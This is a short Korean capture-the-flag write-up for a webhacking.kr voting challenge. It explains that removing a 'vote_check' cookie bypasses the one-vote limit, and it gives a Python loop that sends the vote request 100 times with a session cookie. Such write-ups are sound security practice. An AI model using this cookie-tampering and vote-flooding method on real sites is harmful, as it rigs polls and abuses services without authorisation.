SMALL
[문제]
[풀이]
문제에 접속하니 점수 별 리스트가 나열되어 있었다. 아무 이름이나 클릭을 했을 때
이미 투표했다는 팝업창이 뜬다. 소스코드에서 문제 풀이를 위한 것을 확인할 수 없어서 쿠키값을 확인하였다.
쿠키 값을 보니 vote_check에 ok라고 되어 있는데, 이미 투표가 진행되었다는 표시인 것 같아 이를 없애고 다시 눌러보았더니 점수가 1만큼 올라갔다.
import requests
URL = 'https://webhacking.kr/challenge/code-5/?hit=[id]'
cookies = {'PHPSESSID': '[value]'}
for i in range(100):
requests.get(URL, cookies=cookies)
[핵심]
[출처]
LIST